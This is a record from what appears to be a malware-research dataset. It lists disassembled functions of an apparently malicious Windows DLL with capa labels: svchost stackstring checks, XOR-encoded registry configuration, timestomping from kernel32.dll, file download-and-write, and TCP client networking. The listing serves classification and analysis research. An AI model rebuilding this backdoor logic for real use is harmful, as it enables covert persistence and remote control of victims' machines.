joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18002ca1c
Capabilities:
Get disk information
Get file system object information

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3f0
mov rsi, qword [0x180050ad0]
xor edi, edi
xor edx, edx
mov rcx, rsi
mov r8d, 0x800c
mov r15d, edi
call fcn.18002ed60
mov rbx, qword [0x180050ad0]
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0xc8
add rbx, 0xc
call fcn.18002ed60
lea rdx, [0x18003e58c]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov r14b, 0x41
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x40], r14b
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [rbx + 4], edi
sub eax, 2
je 0x18002cb86
dec eax
je 0x18002cb29
dec eax
je 0x18002cac4
dec eax
jne 0x18002cb9c
mov dword [rbx + 4], 5
jmp 0x18002cb8d
lea rcx, [rbp + 0x30]
xor edx, edx
mov r8d, 0x2b8
mov dword [rbx + 4], 4
call fcn.18002ed60
lea r8, [rbp + 0x30]
lea rcx, [rsp + 0x40]
mov r9d, 0x2b8
xor edx, edx
mov dword [rsp + 0x20], 0x200
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbx + 8]
test eax, eax
je 0x18002cb91
lea r8, [rbp + 0x40]
lea r9, [rsp + 0x40]
lea rdx, str._s___s_
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18002cb9c
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0xc8
mov dword [rbx + 4], 3
call fcn.18002ed60
mov dword [rsp + 0x38], edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
lea r8d, [r9 + 0x64]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbx + 8]
test eax, eax
je 0x18002cb91
lea r8, [rsp + 0x60]
jmp 0x18002cb15
mov dword [rbx + 4], 2
lea rcx, [rbx + 8]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp dword [rbx + 4], edi
je 0x18002cbc2
lea rcx, [rbx + 8]
mov dword [rbx], 8
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax*2 + 2]
add dword [rbx], eax
mov eax, dword [rbx]
add r15d, eax
add rbx, rax
inc r14b
cmp r14b, 0x5a
jle 0x18002ca8c
xor eax, eax
mov rcx, rsi
mov qword [rsi], rax
lea edx, [rax + 0xc]
mov qword [rsi + 4], 0x103
mov dword [rsi], r15d
call fcn.18002c29c
lea edx, [r15 + 0xc]
mov word [rsi + 0xa], ax
mov rcx, qword [0x180050ad0]
call fcn.18002e5b0
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
test eax, eax
setg dil
lea eax, [rdi - 1]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x18002cc8c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov dword [rsp + 0x20], 0x760073
mov dword [rsp + 0x24], 0x680063
mov dword [rsp + 0x28], 0x73006f
mov dword [rsp + 0x2c], 0x2e0074
mov dword [rsp + 0x30], 0x780065
mov dword [rsp + 0x34], 0x65
dec edx
jne 0x18002cd23
mov qword [0x180050a88], rcx
lea rcx, [rsp + 0x40]
mov r8d, 0x208
call fcn.18002ed60
lea rdx, [rsp + 0x40]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x18002cd23
call fcn.18002e9c4
jmp 0x18002cd28
mov eax, 1
mov rbx, qword [rsp + 0x260]
add rsp, 0x250
pop rbp
ret
Function at 0x18002cf6c
Capabilities:
Delete file
Get common file path
Set file attributes
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x188]
sub rsp, 0x260
mov r12d, dword [rcx + 0xc]
xor esi, esi
mov dword [rsp + 0x40], 0x64002e
mov ecx, r12d
mov dword [rbp + 0x190], esi
mov dword [rsp + 0x44], 0x740061
lea ebx, [rsi + 1]
mov word [rsp + 0x48], si
call fcn.18002dac0
test eax, eax
je 0x18002cfd0
mov r9d, ebx
lea r8d, [rsi + 2]
mov dl, bl
jmp 0x18002d1a5
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x208
call fcn.18002ed60
call fcn.18002da10
lea r9, [rsp + 0x50]
mov rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_PathRenameExtensionW]
mov r13, qword [0x180050ad0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov edx, 0x40000000
mov r8d, ebx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov dl, bl
mov cl, setsockopt
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x18002d05e
call fcn.18002c990
jmp 0x18002d1ac
xor r9d, r9d
xor r8d, r8d
call fcn.18002c9c4
jmp 0x18002d143
mov rcx, qword [0x180050ad8]
xor edx, edx
mov r8d, 0x800c
call fcn.18002ed60
mov rdi, qword [0x180050ad8]
mov edx, recv
mov rcx, rdi
call fcn.18002e4f4
cmp eax, 0xffffffff
je 0x18002d15c
mov edx, recv
mov rcx, rdi
call fcn.18002c8d8
test eax, eax
je 0x18002d155
mov edx, dword [rdi]
lea rcx, [rdi + 0xc]
call fcn.18002e4f4
cmp eax, 0xffffffff
je 0x18002d15c
mov rcx, rdi
call fcn.18002c918
test eax, eax
je 0x18002d15c
mov r8d, dword [rdi]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
lea rdx, [rdi + 0xc]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18002d103
mov eax, dword [rdi]
cmp dword [rbp + 0x190], eax
je 0x18002d10a
mov ebx, 1
mov esi, ebx
and dword [rsp + 0x20], 0
movzx r9d, si
mov r8b, 1
mov dl, setsockopt
mov rcx, r13
call fcn.18002c958
mov rcx, qword [0x180050ad0]
mov edx, recv
call fcn.18002e5b0
test eax, eax
jle 0x18002d15c
test sil, 1
jne 0x18002d15f
xor esi, esi
test byte [rdi + 6], 4
jne 0x18002d151
cmp dword [0x180050ab0], esi
je 0x18002d06e
jmp 0x18002d15f
mov ebx, esi
jmp 0x18002d15f
mov ebx, 1
jmp 0x18002d15f
or ebx, 0xffffffff
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x50]
test ebx, ebx
je 0x18002d17b
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, ebx
jmp 0x18002d1ac
mov edx, 4
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x50]
call fcn.18002d568
lea rdx, [rsp + 0x50]
mov ecx, r12d
call fcn.18002da54
xor r9d, r9d
mov dl, 1
mov r8d, eax
mov cl, setsockopt
call fcn.18002c9c4
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x18002d4c0
Capabilities:
Delete file
Move file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x430
mov edi, dword [rcx + 0xc]
xor ebx, ebx
mov ecx, edi
call fcn.18002e0a0
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x410
call fcn.18002ed60
lea r8, [rsp + 0x20]
lea rdx, [0x18003e60c]
mov r9d, 0x410
mov ecx, edi
call fcn.18002d80c
test eax, eax
jne 0x18002d512
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18002d532
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18002d532
lea r8d, [rax + 4]
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ecx, edi
call fcn.18002d740
test eax, eax
jne 0x18002d545
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
xor r9d, r9d
mov r8d, ebx
mov dl, 2
mov cl, setsockopt
call fcn.18002c9c4
mov rbx, qword [rsp + 0x440]
add rsp, 0x430
pop rdi
ret

Function at 0x18002d568
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x3c8]
sub rsp, 0x4c0
mov rbx, rcx
lea rcx, [rbp + 0x1b0]
xor edx, edx
mov r8d, 0x208
xor edi, edi
mov dword [rsp + 0x40], 0x6b005c
mov dword [rsp + 0x44], 0x720065
mov dword [rsp + 0x48], 0x65006e
mov dword [rsp + 0x4c], 0x33006c
mov dword [rsp + 0x50], 0x2e0032
mov dword [rsp + 0x54], 0x6c0064
mov dword [rsp + 0x58], WSAGetLastError
call fcn.18002ed60
lea rcx, [rbp + 0x1b0]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x250
call fcn.18002ed60
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18002d68a
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 1]
xor r9d, r9d
mov edx, 0x100
mov rcx, rbx
mov dword [rsp + 0x28], 6
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18002d681
lea r9, [rsp + 0x74]
lea r8, [rsp + 0x6c]
lea rdx, [rsp + 0x64]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r11, [rsp + 0x4c0]
mov eax, edi
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18002d6a8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r10d, r9d
mov r11d, edx
mov rsi, rcx
cmp r9d, 2
jb 0x18002d72c
test r10b, 1
jne 0x18002d72c
xor r9d, r9d
shr r11d, 1
je 0x18002d703
mov rdi, r8
xor ebx, ebx
cmp r9d, r10d
jae 0x18002d703
mov cl, byte [rbx + rsi]
lea eax, [rbx + 1]
inc r9d
mov dl, byte [rax + rsi]
dec cl
add ebx, 2
dec dl
shl cl, 4
and dl, 0xf
add dl, cl
mov byte [rdi], dl
inc rdi
cmp r9d, r11d
jb 0x18002d6d9
mov r11d, r9d
dec r9d
je 0x18002d723
mov r10d, r9d
add r10, r8
dec r9d
mov dl, byte [r9 + r8]
xor byte [r10], dl
dec r10
test r9d, r9d
jne 0x18002d711
xor byte [r8], 0xe4
mov eax, r11d
jmp 0x18002d72e
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret

Function at 0x18002d740
Capabilities:
Delete registry key

Disassembly:
sub rsp, 0x238
lea rdx, [rsp + 0x20]
mov r8d, 0x104
call fcn.18002d93c
lea rdx, [rsp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
add rsp, 0x238
ret

Function at 0x18002d77c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
xor r11d, r11d
mov rbx, rcx
mov edi, r9d
mov rsi, r8
mov r10d, edx
mov cl, 0xe4
test edx, edx
je 0x18002d7b2
mov rax, rbx
mov edx, r10d
xor byte [rax], cl
mov cl, byte [rax]
inc rax
dec rdx
jne 0x18002d7a6
test r10d, r10d
je 0x18002d7f6
mov r9d, 1
lea eax, [r9 + 1]
cmp eax, edi
jae 0x18002d7f6
mov r8b, byte [rbx]
lea eax, [r9 - 1]
inc r11d
mov dl, r8b
and r8b, 0xf
inc rbx
shr dl, 4
add r8b, 0x41
add dl, 0x41
mov byte [rax + rsi], dl
mov eax, r9d
add r9d, 2
mov byte [rax + rsi], r8b
cmp r11d, r10d
jb 0x18002d7bd
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
lea eax, [r10 + r10]
ret
Function at 0x18002d80c
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x958]
sub rsp, 0xa50
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
mov rdi, rdx
mov rsi, r8
lea rdx, [rsp + 0x40]
mov r8d, 0x104
mov ebx, r9d
call fcn.18002d93c
lea rax, [rsp + 0x38]
lea rdx, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18002d920
lea rcx, [rbp + 0x150]
xor edx, edx
mov r8d, 0x800
mov dword [rsp + 0x30], 0x800
call fcn.18002ed60
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x150]
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18002d915
cmp dword [rsp + 0x30], eax
je 0x18002d915
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [rsp + 0x30]
lea r8, [rbp + 0x150]
lea rcx, [rbp + 0x150]
mov r9d, 0x800
call fcn.18002d6a8
lea rdx, [rbp + 0x150]
mov rcx, rsi
cmp eax, ebx
cmova eax, ebx
mov r8d, eax
mov dword [rsp + 0x30], eax
call fcn.18002efa0
mov eax, 1
jmp 0x18002d922
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
lea r11, [rsp + 0xa50]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18002d93c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x70
mov ebx, ecx
xor ecx, ecx
mov rdi, rdx
mov r8d, r8d
mov word [rbp - 0x10], cx
mov word [rbp - 0x44], cx
mov rcx, rdi
xor edx, edx
add r8, r8
mov dword [rbp - 0x40], 0x6f0053
mov dword [rbp - 0x3c], 0x740066
mov dword [rbp - 0x38], 0x610077
mov dword [rbp - 0x34], 0x650072
mov dword [rbp - 0x30], 0x4d005c
mov dword [rbp - 0x2c], 0x630069
mov dword [rbp - 0x28], 0x6f0072
mov dword [rbp - 0x24], 0x6f0073
mov dword [rbp - 0x20], 0x740066
mov dword [rbp - 0x1c], 0x49005c
mov dword [rbp - 0x18], 0x45004d
mov dword [rbp - 0x14], 0x580045
mov dword [rbp - 0x50], 0x730025
mov dword [rbp - 0x4c], 0x25005c
mov dword [rbp - 0x48], 0x75006c
call fcn.18002ed60
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x50]
mov r9d, ebx
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
lea r11, [rsp + 0x70]
mov rax, rdi
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x18002da10
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
mov rax, qword [0x180050b08]
test rax, rax
jne 0x18002da4f
lea ecx, [rax + 0x40]
mov edx, 0x208
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [0x180050b08], rax
test rax, rax
je 0x18002da4f
mov edx, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov rax, qword [0x180050b08]
add rsp, 0x28
ret
Function at 0x18002db00
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
xor ebx, ebx
mov r15d, edx
lea rax, [rsp + 0x60]
mov r12, rcx
lea rdx, [rsp + 0x68]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x68], 0x6f0053
mov dword [rsp + 0x6c], 0x740066
mov dword [rsp + 0x70], 0x610077
mov dword [rsp + 0x74], 0x650072
mov dword [rsp + 0x78], 0x4d005c
mov dword [rsp + 0x7c], 0x630069
mov dword [rbp - 0x80], 0x6f0072
mov dword [rbp - 0x7c], 0x6f0073
mov dword [rbp - 0x78], 0x740066
mov dword [rbp - 0x74], 0x49005c
mov dword [rbp - 0x70], 0x45004d
mov dword [rbp - 0x6c], 0x580045
mov word [rbp - 0x68], bx
mov dword [rbp + 0x200], ebx
mov esi, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18002dbc4
xor eax, eax
jmp 0x18002dc98
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x200]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x18002dc8b
mov edi, ebx
cmp dword [rbp + 0x200], ebx
jbe 0x18002dc89
lea rcx, [rbp - 0x50]
xor edx, edx
mov r8d, 0x208
mov dword [rbp + 0x208], 0x104
call fcn.18002ed60
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
lea r9, [rbp + 0x208]
lea r8, [rbp - 0x50]
mov edx, edi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x18002dc7f
lea r14d, [rsi + 1]
cmp r14d, r15d
jae 0x18002dc7f
lea rcx, [rbp - 0x50]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov ecx, esi
mov esi, r14d
mov dword [r12 + rcx*4], eax
inc edi
cmp edi, dword [rbp + 0x200]
jb 0x18002dc18
mov ebx, esi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret

Function at 0x18002dcb4
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x18002de04]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x18002dcea
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x38
ret
Function at 0x18002de98
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x250
mov r15, rdx
mov rbp, r8
lea rdx, [rsp + 0x40]
xor ebx, ebx
mov r8d, 0x104
mov r14d, r9d
mov qword [rsp + 0x30], rbx
call fcn.18002d93c
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x18002def2
xor eax, eax
jmp 0x18002df64
lea esi, [r14*2 + 0x10]
mov ecx, 0x40
mov edx, esi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x18002df57
mov r9d, esi
mov r8, rax
mov edx, r14d
mov rcx, rbp
call fcn.18002d77c
lea ecx, [r14 + r14]
mov r9d, 3
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov rdx, r15
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, 1
test eax, eax
cmove ebx, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x18002e220
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r15
sub rsp, 0x40
xor ebx, ebx
movzx esi, dx
mov ebp, ecx
lea r15d, [rbx + 2]
lea edx, [rbx + 1]
lea r8d, [rbx + 6]
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18002e335
movzx ecx, si
mov word [rsp + 0x30], r15w
mov dword [rsp + 0x34], ebp
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rbx + 0x10]
lea rdx, [rsp + 0x30]
mov rcx, rdi
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x18002e31f
imul eax, dword [0x18004f004], 0x3e8
lea esi, [rbx + 4]
mov ebp, 0xffff
lea r9, [rsp + 0x70]
mov r8d, 0x1006
mov rcx, rdi
mov edx, ebp
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x70], eax
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x18002e31f
lea r9, [rsp + 0x70]
mov r8d, 0x1005
mov edx, ebp
mov rcx, rdi
mov dword [rsp + 0x20], esi
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x18002e31f
mov rcx, qword [0x180050ac0]
call fcn.1800010f0
mov rbx, rax
test rax, rax
je 0x18002e31f
mov edx, edi
mov rcx, rax
call fcn.1800011e0
mov rcx, rbx
call fcn.180001ec0
cmp eax, 0xffffffff
je 0x18002e31f
mov qword [0x180050ab8], rdi
mov qword [0x180050ac8], rbx
lea eax, [rsi - 3]
jmp 0x18002e337
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
test rbx, rbx
je 0x18002e335
mov rcx, rbx
call fcn.180001190
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop r15
pop rdi
pop rsi
ret
Function at 0x18002e428
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
and dword [0x180050ab4], 0
call fcn.18002bdc0
test eax, eax
jne 0x18002e440
xor eax, eax
jmp 0x18002e4bb
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x18002e18c]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x180050aa0], rax
test rax, rax
je 0x18002e43c
cmp dword [0x180050ab0], 0
jne 0x18002e48d
test rax, rax
je 0x18002e48d
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x180050aa0]
jmp 0x18002e46b
mov dword [0x180050ab4], 1
test rax, rax
je 0x18002e4b1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x180050aa0], 0
jne 0x18002e49c
call fcn.18002e130
mov eax, 1
add rsp, 0x38
ret

Function at 0x18002e4c0
Capabilities:
Resolve dns

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x18002e4eb
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x18002e4eb
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
add rsp, 0x20
pop rbx
ret

Function at 0x18002e4f4
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, edx
mov rbp, rcx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
test edi, edi
jne 0x18002e51f
xor eax, eax
jmp 0x18002e599
cmp dword [0x180050ab0], ebx
jne 0x18002e597
cmp dword [0x180050ab4], 0
jne 0x18002e597
mov rcx, qword [0x180050ac8]
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rbp
call fcn.180001280
test eax, eax
jg 0x18002e580
mov rcx, qword [0x180050ac8]
mov edx, eax
call fcn.180001490
cmp eax, 2
jne 0x18002e57b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274c
jne 0x18002e57b
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, 0x1d4c0
jb 0x18002e58e
or eax, 0xffffffff
jmp 0x18002e599
add ebx, eax
cmp ebx, edi
jge 0x18002e597
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
cmp dword [0x180050ab0], 0
jmp 0x18002e525
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret